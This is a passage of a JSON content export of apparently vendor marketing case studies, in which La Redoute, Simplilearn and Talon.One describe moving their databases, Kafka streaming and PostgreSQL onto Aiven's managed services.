CTO, La Redoute: “Our commitment to Aiven is more than just a contractual agreement. It’s a partnership that’s built on trust. Aiven has had a transformative impact on our company and we’re excited to see the contribution our partnership will bring to La Redoute’s success in the next few years.”"}],"markDefs":[],"style":"normal"},{"_key":"fd0bb784a601","_type":"block","children":[{"_key":"4923238426a00","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Looking to the future ","topOverlap":false,"variant":"oneColumn"}],"heroHasVideo":true,"heroSubtitle":"Leading home and fashion e-commerce player moves its data infrastructure to Microsoft Azure to handle seasonal surges in sales","heroTitle":"La Redoute Takes Control of Cloud Costs with Aiven’s Bring Your Own Cloud on Microsoft Azure","image":{"_type":"mainImage","asset":{"_ref":"image-ccc24c9234f6001658436e93eb4d2c54b535df33-2048x1536-jpg","_type":"reference"}},"publishedAt":"2024-06-27T12:42:01.407Z","seo":{"_type":"metaData","metaDescription":"Leading home and fashion e-commerce player moves its data infrastructure to Microsoft Azure to handle seasonal surges in sales","metaImage":{"_type":"mainImage","asset":{"_ref":"image-436b4bd753779bd43e780801da8722e9224a6cb2-1200x630-png","_type":"reference"}},"metaTitle":"La Redoute Takes Control of Cloud Costs with Aiven’s Bring Your Own Cloud on Microsoft Azure"},"slug":{"_type":"slug","current":"/case-studies/la-redoute-takes-control-of-cloud-costs-with-byoc"},"title":"La Redoute Takes Control of Cloud Costs with Aiven’s Bring Your Own Cloud on Microsoft Azure","ytId":"mPWxizlA3so"} {"__i18n_lang":"en","_createdAt":"2023-05-08T10:42:25Z","_id":"74c6fe58-a2b0-4997-85d5-ba614d33cee0","_rev":"rV9BZDYEBgQp95tIyZzApu","_type":"caseStudy","_updatedAt":"2023-06-08T08:02:52Z","company":{"_ref":"2fe63ad6-b75e-45dc-8d09-ddcfe0e93f72","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"79bb1ce6b5c2","_type":"block","children":[{"_key":"f39e22377f280","_type":"span","marks":[],"text":"In 2019, Simplilearn and its students were ready for massive growth — but its IT systems weren’t. Discover how the company unlocked its potential with Aiven for Apache Kafka®, solved its scalability headaches and helped millions of learners reach their career goals."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"c501e29bef31","_type":"block","children":[{"_key":"8d0cb7e6bf930","_type":"span","marks":[],"text":"Simplilearn is the world’s No. 1 online bootcamp for digital skills. Its mission is to transform lives through education, and the company has helped over 5 million learners reach their career and business goals."}],"markDefs":[],"style":"normal"},{"_key":"634c30c82ce8","_type":"block","children":[{"_key":"83dbea5a6db0","_type":"span","marks":[],"text":"Based in Bangalore and San Francisco, Simplilearn has 2,000 qualified trainers running 3,000 classes each month for 75,000 learners on average. Between 2018 and 2021, it doubled its learner base, partly due to social changes driven by the pandemic."}],"markDefs":[],"style":"normal"},{"_key":"1a9ddc9977f6","_type":"block","children":[{"_key":"8344b0604318","_type":"span","marks":[],"text":"“Our ambition is to develop our offering even further,” says Mrinal Barua, Senior Associate Director at Simplilearn. “We’re working with top-tier universities, corporations and industry bodies to provide new degree-level and postgraduate courses, so learners all over the world can get skilled, well-paying jobs in the digital economy.”"}],"markDefs":[],"style":"normal"}],"title":"5 million success stories and counting","variant":"oneColumn"},{"_key":"b3c6afaf0b3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"b072d111dc35","_type":"block","children":[{"_key":"dc67da304a540","_type":"span","marks":[],"text":"In 2019, Simplilearn was growing fast, with VC investment, partnerships with blue chip brands and rankings that put it ahead of some of the world’s leading universities for online provision."}],"markDefs":[],"style":"normal"},{"_key":"61a869bcea87","_type":"block","children":[{"_key":"25b21eeed802","_type":"span","marks":[],"text":"But this expansion in the number of students and courses exposed some underlying issues in the company’s learning management system (LMS). All students at Simplilearn use this core platform to take their courses. As learners worked through their modules, their individual progress was synced to various databases using APIs. Only when all data was logged to the databases could users see their progress reflected on screen. And because there were so many connected systems, a full sync could take up to 30 minutes. This problem became especially noticeable when users had completed a course and went to get the certificate. The long waiting time for completion to register in the LMS led to confusion, user dissatisfaction and poor feedback."}],"markDefs":[],"style":"normal"},{"_key":"2f75e95a31b8","_type":"block","children":[{"_key":"8b4192473518","_type":"span","marks":[],"text":"As Simplilearn developed its offering towards more complex study programs, the problem became even more apparent. “When we started registering learners for multiple classes at once, this put further load on our systems,” says Kusum Saini, Senior Architect at Simplilearn. “The more we grew as a company, the more potential problems we saw with the user experience.”"}],"markDefs":[],"style":"normal"},{"_key":"e4a862f9a0df","_type":"block","children":[{"_key":"f21c304d79ee","_type":"span","marks":[],"text":"Latency was also making it hard for Simplilearn to make quick business decisions. “Our marketing depends on real-time data from the LMS,” says Ritesh Wanchoo, Cloud Architect at Simplilearn. “We send users emails or nudges within the platform about other courses they can take to improve their skills. But without instant visibility into learners’ progress, we couldn’t automate this as much as we wanted, so we were missing out on upselling opportunities. Our senior management was keen that we fix this so the company would have the freedom to expand.”\n"}],"markDefs":[],"style":"normal"}],"title":"Removing the blockers to growth","variant":"oneColumn"},{"_key":"b80dcb0577b7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"16a86aabcc75","_type":"block","children":[{"_key":"2e800d1daa040","_type":"span","marks":[],"text":"Architects at Simplilearn knew that the solution lay in a decoupled event-streaming architecture based on Apache Kafka®. It could scale to handle trillions of messages a day and petabytes of data with the low latency that Simplilearn needed. But managing Kafka was not a task they wanted to take on."}],"markDefs":[],"style":"normal"},{"_key":"19e7ce1bdbc2","_type":"block","children":[{"_key":"385974cf3852","_type":"span","marks":[],"text":"“We’ve written our own queueing services before, so we know how resource-intensive they can be to manage,” says Saini."}],"markDefs":[],"style":"normal"},{"_key":"85152e413c96","_type":"block","children":[{"_key":"98d2404b70d9","_type":"span","marks":[],"text":"Kafka represented an attractive off-the-shelf alternative but would require significant effort to manage the clusters. Knowing it wanted a managed service, the team compared offerings from Aiven and other vendors. “It was clear that Aiven for Apache Kafka had all the features, integrations and connectors we needed at the right price,” says Saini. “We chose to run it on Google Cloud, and it works seamlessly with our existing cross-cloud environment.”"}],"markDefs":[],"style":"normal"},{"_key":"9160484e9e36","_type":"block","children":[{"_key":"42a3b25c794f","_type":"span","marks":[],"text":"The infrastructure team uses the Aiven GUI to add nodes to their Kafka cluster and create topics. “Working with Aiven meant we could focus on building our application,” says Wanchoo. “We didn’t have to manually provision Zookeeper or cluster nodes — or worry about any of the manual setup that follows. If we were managing Kafka in-house, we would need an extra DevOps engineer to look after it.”"}],"markDefs":[],"style":"normal"},{"_key":"65a99911f431","_type":"block","children":[{"_key":"fab829edab9f","_type":"span","marks":[],"text":"The infrastructure team at Simplilearn has set alerts using Aiven integrators, so if the team sees unusual behavior, they can act fast. “Sometimes we can fix it, sometimes Aiven does, but the relationship is pretty seamless,” says Barua. “The customer success team at Aiven have gone out of their way to solve any challenges we’ve had, get us the right technical support and advise us on best practices and the plans we’re using. That help has only gotten better with time.”"}],"markDefs":[],"style":"normal"}],"title":"Building an app, not managing Kafka clusters","variant":"oneColumn"},{"_key":"cf11078c9b6c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"6b8df0610293","_type":"block","children":[{"_key":"2f03fe5325170","_type":"span","marks":[],"text":"Although the event-streaming technology is invisible to much of the Simplilearn community, the impact can be felt across the organization, from learners and teachers, through the development and infrastructure teams, right up to senior business leadership."}],"markDefs":[],"style":"normal"},{"_key":"b16731a23111","_type":"block","children":[{"_key":"715fc1ac9368","_type":"span","marks":[],"text":"Those taking a course get a near-instant view of their progress. So do learner success managers, who can intervene if they notice a student is having difficulty and ensure that the learner progresses towards their goals."}],"markDefs":[],"style":"normal"},{"_key":"f8e0a1c32d86","_type":"block","children":[{"_key":"3898d7a10d39","_type":"span","marks":[],"text":"Tech teams have an easier time managing a more automated, performant and resilient system so they can concentrate on activities that add value for their users. “Kafka is fault tolerant by design, and we’ve incorporated retry mechanisms, so the chance of failed writes is much lower,” says Saini. “It means users can carry on with their courses, and the heavy lifting is taken care of in the background without affecting the UX.”"}],"markDefs":[],"style":"normal"},{"_key":"13a06e997e74","_type":"block","children":[{"_key":"9462f134244d","_type":"span","marks":[],"text":"“Fault tolerance also makes code releases easier,” adds Wanchoo. “If developers make a change that breaks a service that’s on Aiven, we’ll see that records are failing. We can fix the issue, make the release, and the failed records get sent to a retry queue to be run after the fix.”"}],"markDefs":[],"style":"normal"},{"_key":"0673685770e2","_type":"block","children":[{"_key":"afcf8a9c97e2","_type":"span","marks":[],"text":"Real-time, accurate data is also vital for the growth of Simplilearn as a business. It enables the company to offer more timely, tailored suggestions for learners, helping them find new courses to further their careers as well as retaining them as customers."}],"markDefs":[],"style":"normal"}],"title":"Improved experience for learners, managers and IT","variant":"oneColumn"},{"_key":"8d9f95294449","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"b5601d5b0d53","_type":"block","children":[{"_key":"4b8cf33af3bf0","_type":"span","marks":[],"text":"The success of the business has enabled Simplilearn to embark on new initiatives focusing on upskilling people for digital careers and landing the job they want."}],"markDefs":[],"style":"normal"},{"_key":"e39a858a7365","_type":"block","children":[{"_key":"184fddee00fd","_type":"span","marks":[],"text":"Recent projects include a partnership with HerKey (formerly JobsForHer), India’s largest online platform for women’s careers. In 2022, the partnership trained 1,000 women in full-stack Java development, helping them get jobs in a vibrant IT sector and reducing the gender gap."}],"markDefs":[],"style":"normal"},{"_key":"cc55956afdf5","_type":"block","children":[{"_key":"7740f15f2423","_type":"span","marks":[],"text":"Another partnership with the Commonwealth is providing free digital upskilling courses for 10,000 students across the Caribbean, Africa and Asia through the Simplilearn SkillUp platform."}],"markDefs":[],"style":"normal"}],"title":"Reaching new learners across the globe","variant":"oneColumn"}],"contentIsGated":false,"heroSubtitle":"Edtech unicorn builds “do-it-all\" system on Apache Kafka® and unlocks new phase of growth","heroTitle":"Simplilearn Helps Millions of Students Upskill with Aiven Event Streaming","hostProviders":[{"_key":"9a6c4809149f","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"iframeSource":{"iframeHeight":800},"image":{"_type":"mainImage","asset":{"_ref":"image-d85787785bb01ca6d651b7de127d76b739975ce3-1920x1037-jpg","_type":"reference"}},"industry":[{"_id":"8dc80453-6ed0-45e5-8fa3-076f1de323fb","label":"Education","value":"education"}],"publishedAt":"2023-05-08T10:41:17.369Z","region":"APAC","seo":{"_type":"metaData","metaDescription":"Edtech unicorn builds “do-it-all\" system on Apache Kafka® and unlocks new phase of growth","metaImage":{"_type":"mainImage","asset":{"_ref":"image-00b3f5e4d7234eaab19049593f497e55dd707e3b-2500x1308-png","_type":"reference"}},"metaTitle":"Simplilearn Helps Millions of Students Upskill with Aiven Event Streaming"},"services":[{"_key":"5693090acfd4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/simplilearn-helps-millions-of-students-upskill-with-aiven"},"title":"Simplilearn Helps Millions of Students Upskill with Aiven Event Streaming"} {"__i18n_lang":"en","_createdAt":"2022-11-21T10:27:14Z","_id":"e30f0e28-d18d-4f69-87e3-fb48ee50b209","_rev":"iFqNzOUeP20hjvWPytnOO9","_type":"caseStudy","_updatedAt":"2023-06-20T08:10:37Z","additionalResources":{"items":[{"_key":"0a58ff66ac77","_ref":"18fLg2vAgBM4cu7qP3u2XJ","_type":"reference"},{"_key":"5f0b3d6cc51b","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"},{"_key":"aa6de9495154","_ref":"5HvSGI64xMitqiheeX6a66","_type":"reference"}],"title":"You might also like"},"company":{"_ref":"yvkqRSBe6LC3RTgyKXyOf","_type":"reference"},"content":[{"_key":"b75ece6fb947","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"636dcba9ac37","_type":"block","children":[{"_key":"2524d8a763190","_type":"span","marks":[],"text":"Talon.One is a global company with ~100 corporate-size customers, running an easy-to-use and reliable promotions configuration service. This would not be possible without Aiven for PostgreSQL®."}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"3aeff76e1dbb","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"1f0daf25b181","_type":"block","children":[{"_key":"792926839b9c0","_type":"span","marks":[],"text":"Reliable, highly available solution that is optimized for extremely variable loads."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c73a27774dca","_type":"block","children":[{"_key":"302b5e2ef95d0","_type":"span","marks":[],"text":"With a managed service, Talon.One can offload the infrastructure investment onto the service provider, along with the operative risks."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"c2cb2afa34a7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"65668efc3704","_type":"block","children":[{"_key":"e262766e17970","_type":"span","marks":[],"text":"Talon.One started from the realisation that marketers at every company were limited in the types of promotions they could run by technical considerations. Anything but the most basic global bulk discount needed programmers to hard-code things like coupon numbers into the pricing system. So they started offering a way to easily set up promotion campaigns."}],"markDefs":[],"style":"normal"},{"_key":"525d6f41a331","_type":"block","children":[{"_key":"c93ae4f9baef0","_type":"span","marks":[],"text":"Talon.One faced multiple challenges that they knew they’d struggle to meet on their own. Their promotion configuration services, offered to consumers at the point of sale either online or at a physical location, would have to be able to process data in the blink of an eye. Consistent performance would be absolutely business-critical, and that needed a solid, high-performance setup."}],"markDefs":[],"style":"normal"},{"_key":"1b53b6529a32","_type":"block","children":[{"_key":"0a57185dab000","_type":"span","marks":[],"text":"The trouble was setting it up and managing it. The system they had in mind would need an army of qualified programmers, and even then an in-house solution wouldn’t be as flexible as they wanted to be."}],"markDefs":[],"style":"normal"},{"_key":"d50730294177","_type":"block","children":[{"_key":"7888d460a2c00","_type":"span","marks":[],"text":"Besides, the solution they needed had to be more than just reliable and highly available, it had to be optimised for variable loads. The nature of the business meant that the loads would peak and sink as promotions ran their course, but performance needed to be constant. Moreover, each customer needed its own separate database to prevent high traffic loads for one customer interfering with the others’ service."}],"markDefs":[],"style":"normal"},{"_key":"3a3c7236389f","_type":"block","children":[{"_key":"e407ae4c7f6b0","_type":"span","marks":[],"text":"All of this ruled out any in-house, on-premises concept and sent the Talon.One team scouting for managed cloud solutions. With a managed service, they could offload the infrastructure investment onto the service provider, along with the operative risks."}],"markDefs":[],"style":"normal"},{"_key":"138e60a50326","_type":"block","children":[{"_key":"fcf023c886230","_type":"span","marks":[],"text":"But even then they ran into one more problem. They discovered that most of the cloud solutions they tested were running old software versions, and were not compatible with the solution they had designed."}],"markDefs":[],"style":"normal"},{"_key":"cfe4a612d79d","_type":"block","children":[{"_key":"1e8fece192040","_type":"span","marks":[],"text":"Fortunately, they found Aiven."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"ee87fbbdc30b","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"124451a05c81","_ref":"3QRctmhfgw83kWjnq3FSck","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"media"},{"_key":"2a1ed8f72f73","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"08700852cea3","_type":"block","children":[{"_key":"f0f7a3454e0e0","_type":"span","marks":[],"text":"Talon.One quickly discovered that Aiven would in fact be able to accommodate all their requirements out of the box with a versatile, flexible, comprehensive managed service running the latest software versions. So they built their own platform on top of Aiven’s DBaaS platform."}],"markDefs":[],"style":"normal"},{"_key":"eb51703d626f","_type":"block","children":[{"_key":"6a160cd512c60","_type":"span","marks":[],"text":"“Aiven has been with us from day one. They are the reason we’re even able to offer the Talon.One platform,” says Laurens Van Wiele, Head of Product at Talon.One. “Without them, we’d have to manage hundreds of database servers at high availability ourselves. Instead, we could use the relatively small team that we had at the time and just focus on the product we were developing.”"}],"markDefs":[],"style":"normal"},{"_key":"0d843ef583b3","_type":"block","children":[{"_key":"d838c3aa93e90","_type":"span","marks":[],"text":"A customer company can set up loyalty programs, coupon campaigns, targeted discounts and so on. They can define complex eligibility criteria designed for maximal consumer impact. The criteria are then applied in real-time when the consumer makes a purchase. Talon.One provides the technological layer between the campaign logic and the consumer transaction."}],"markDefs":[],"style":"normal"},{"_key":"fbef39afe6dd","_type":"block","children":[{"_key":"f7428c10d3150","_type":"span","marks":[],"text":"Talon.One’s customers plug their own systems into the platform. The API listens to incoming events and sends the relevant data over to the customer’s dedicated database server. That’s where Aiven comes in: that dedicated Postgres database is spun up through Aiven in whatever cloud and region is physically closest to the customer."}],"markDefs":[],"style":"normal"},{"_key":"bcf826a71e20","_type":"image","asset":{"_ref":"image-46d67d82cd09e18c617e9656e103b93c2c5294f0-2500x1308-png","_type":"reference"}},{"_key":"26b9396929cb","_type":"block","children":[{"_key":"34894a0960ed","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ddd0f3c9c322","_type":"block","children":[{"_key":"fe519dbab70c","_type":"span","marks":["c649afd7257b"],"text":"At the core of the Talon.One solution is their Promotion Engine"},{"_key":"f277d46b92eb1","_type":"span","marks":[],"text":". It validates the incoming events, checks them against the rules defined by the customer, and returns the appropriate effect to the customer system. For Talon.One’s customers, it’s easy to configure these rules using their Campaign Manager UI."}],"markDefs":[{"_key":"c649afd7257b","_type":"link","href":"https://www.talon.one/promotion-engine"}],"style":"normal"},{"_key":"81d254b6943a","_type":"block","children":[{"_key":"7a0b69f458a70","_type":"span","marks":[],"text":"Aiven can cope with the fluctuating write-heavy load. Talon.One is easily able to upscale, downscale or change clouds or regions in response to changing needs. “With Aiven, it’s easy for us to expand into new markets,” says Laurens."}],"markDefs":[],"style":"normal"},{"_key":"f0c40a8f097d","_type":"block","children":[{"_key":"e6ae908744970","_type":"span","marks":[],"text":"Because Aiven has a comprehensive set of compliances and an ISO 27001 certification, it’s easy for Talon.One to offer a fully compliant data pipeline to their customers. No extra certifications are required when Aiven’s part of the system already has the requisite compliance documentation. The same goes for security: Talon.One can fully rely on Aiven’s data practices being safe. “Using Aiven, security has been just much less of a headache,” Laurens says."}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"08eb547158c6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"c55abf1dca0c","_type":"block","children":[{"_key":"cb2c09e529580","_type":"span","marks":[],"text":"Today Talon.One has approximately 100 corporate customers, and their databases go up to a terabyte in size for each customer. The data traffic is in the order of 60 million API calls a month per customer, and that traffic isn’t coming in steadily but in floods and trickles. The system needs to be able to respond quickly in either condition. It’s easy to see why Talon.One prioritises flexibility and scalability."}],"markDefs":[],"style":"normal"},{"_key":"fcc21224f791","_type":"block","children":[{"_key":"989bf391e9ea0","_type":"span","marks":[],"text":"Talon.One is happy with Aiven’s comprehensive, secure data services that are easy to configure and generate hardly any maintenance load to operate smoothly. They also like the level of support they receive when they want to change their service configuration, like add disk space or increase backup retention time."}],"markDefs":[],"style":"normal"},{"_key":"3b814ece507e","_type":"block","children":[{"_key":"7b3248dd88210","_type":"span","marks":[],"text":"“I would definitely recommend Aiven to a company that relies on heavy usage of databases,” Laurens says. “They can use Aiven to ramp up without using too many resources to build a database infrastructure from the ground up.”"}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"1ef32289f470","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"61eff2b92dea","_ref":"5geaejSggPeVDwbf6wXFbL","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"media"}],"contentIsGated":false,"downloadLink":"https://go.aiven.io/aiven-cs-talon-one-en","heroSubtitle":"Talon.One enables customers to set up promotion campaigns, and provides each customer with their own PostgreSQL server to guarantee availability and security.","heroTitle":"Aiven manages hundreds of database servers for Talon.One","hostProviders":[{"_key":"81b8645c6daf","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"iframeSource":{"iframeHeight":800},"image":{"_type":"mainImage","asset":{"_ref":"image-1ec7c6ca17f9b365a85616abc4bcbc4e0c7ebc6e-1920x1037-jpg","_type":"reference"}},"industry":[{"_id":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","label":"Software and Internet","value":"software-and-internet"}],"publishedAt":"2022-06-20T09:12:00.000Z","region":"EMEA","seo":{"_type":"metaData","metaDescription":"Talon.One is a global company with ~100 corporate-size customers, running an easy-to-use and reliable promotions configuration service. This would not be possible without Aiven for PostgreSQL®.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c7eb20ae9584d73385de39cf3da1af41829e6472-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven manages hundreds of database servers for Talon.One"},"services":[{"_key":"4c35a7cd80f4","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/aiven-manages-hundreds-of-database-servers-for-talon-one"},"title":"Talon.One"} {"__i18n_base":{"_ref":"7455e64b-e73e-4edd-86fa-be656d250d3c","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2024-06-26T09:03:24Z","_id":"7455e64b-e73e-4edd-86fa-be656d250d3c__i18n_fr","_rev":"UPIPX87Xr8dUQrGWETP8NH","_type":"caseStudy","_updatedAt":"2024-12-11T14:56:49Z","company":{"_ref":"727f3f76-3bb5-4b94-a943-59f28858872a","_type":"reference"},"content":[{"_key":"db614d8ffe62","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"a39632a64cf7","_type":"block","children":[{"_key":"027035e7b4330","_type":"span","marks":[],"text":"Le géant du e-commerce La Redoute devait migrer son infrastructure de données d’un fournisseur cloud majeur vers Microsoft Azure pour améliorer sa scalabilité et mieux gérer les charges de pointe lors d’événements comme le Black Friday. En s’appuyant sur la plateforme Aiven, l’entreprise a effectué une transition fluide de ses clusters PostgreSQL, Apache Kafka et OpenSearch vers Azure. De plus, en adoptant le modèle de déploiement Bring Your Own Cloud (BYOC) d’Aiven, La Redoute a réalisé des réductions significatives du coût total de possession (Total Cost of Ownership - TCO) de son empreinte sur Azure."}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"oneColumn"},{"_key":"5ee279f88266","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"463e95ebba74","_type":"block","children":[{"_key":"68674143e7760","_type":"span","marks":[],"text":"La Redoute, fondée il y a 186 ans en France en tant que filature de laine, est devenue un leader du e-commerce dans les domaines de la maison, de la décoration et de la mode, en tant que membre du groupe Galeries Lafayette. Avec plus de 10 millions de clients dans 26 pays, l'innovation numérique est essentielle à son succès. Sa marketplace en ligne propose des milliers d’articles de La Redoute et de plus de 800 autres marques telles qu’Adidas, Mango et Monoprix. En exploitant les données, La Redoute vise à offrir des services numériques de qualité supérieure, garantissant une expérience client inégalée et se maintenant à la pointe du marché."}],"markDefs":[],"style":"normal"}],"title":"Deux siècles de réinvention","topOverlap":false,"variant":"oneColumn"},{"_key":"dac8d84200ed","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"66129ca087e3","_type":"block","children":[{"_key":"df0731e118de0","_type":"span","marks":[],"text":"En 2020, lorsque la pandémie de COVID-19 a frappé et que les gens passaient plus de temps chez eux, La Redoute a connu une augmentation soudaine et significative de ses ventes. À mesure que les transactions sur sa marketplace augmentaient, les données associées croissaient de manière exponentielle, exerçant une pression sur les bases de données PostgreSQL sur site qui stockaient déjà une grande quantité de données, telles que les prix des produits, les références SKU et les vendeurs."}],"markDefs":[],"style":"normal"},{"_key":"934af31f3fd7","_type":"block","children":[{"_key":"d196e57b3583","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"dd28946cdfb0","_type":"image","asset":{"_ref":"image-581f3fe22609f828dc3f3381592a64974e699e74-1200x628-png","_type":"reference"}},{"_key":"18b2688e2dfe","_type":"block","children":[{"_key":"71778fdbaadb","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6ae6bb64f692","_type":"block","children":[{"_key":"6fc093aeced90","_type":"span","marks":[],"text":"Déjà utilisateur d'Aiven for Apache Kafka pour le streaming de données, La Redoute s'est tournée vers Aiven pour accroître la scalabilité de ses bases de données PostgreSQL. Diogo et son équipe ont migré les bases de données vers le cloud public en utilisant Aiven for PostgreSQL et ont également commencé à utiliser Aiven for OpenSearch pour ingérer et analyser tous les journaux générés par les bases de données PostgreSQL. La Redoute a immédiatement constaté une augmentation de la scalabilité de son infrastructure de données et a pu répondre à la demande sans précédent résultant de la pandémie."}],"markDefs":[],"style":"normal"}],"title":"Les pics de ventes nécessitent une scalabilité cloud","topOverlap":false,"variant":"oneColumn"},{"_key":"908d318a993b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"c1da06c2c59e","_type":"block","children":[{"_key":"68acc23ba2cb0","_type":"span","marks":[],"text":"À la fin de l'année 2022, La Redoute a choisi Microsoft Azure comme fournisseur cloud dans le but de rendre l'entreprise encore plus agile, réactive et évolutive. Cela visait à faciliter la gestion des différents pics de charge liés aux grands événements commerciaux tels que les soldes, Noël et le Black Friday. La migration de l'ensemble des services vers Azure, une tâche complexe et essentielle pour l'entreprise, devenait nécessaire et généralement prenait plusieurs mois. Pour Diogo et les équipes de La Redoute, cela incluait les services Aiven existants ainsi que d'autres bases de données et charges de travail fonctionnant à la fois sur l'ancien cloud et dans les environnements sur site."}],"markDefs":[],"style":"normal"},{"_key":"4bb07eb95608","_type":"block","children":[{"_key":"5ec208eb96f30","_type":"span","marks":[],"text":"Dans le cadre de la planification de la transition vers Microsoft Azure, Diogo et son équipe ont anticipé une augmentation des coûts liée au déplacement vers une nouvelle région cloud. Ils ont exploré le modèle BYOC d'Aiven pour La Redoute, découvrant qu'il permettrait à l'entreprise d'exécuter les services Aiven dans son propre compte Azure. Concluant que le modèle BYOC améliorerait le contrôle des coûts et entraînerait une réduction globale des dépenses, il est devenu l'option préférée de La Redoute pour son infrastructure de données."}],"markDefs":[],"style":"normal"}],"title":"Déploiement BYOC sur Microsoft Azure","topOverlap":false,"variant":"oneColumn"},{"_key":"b1266946b16b","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center 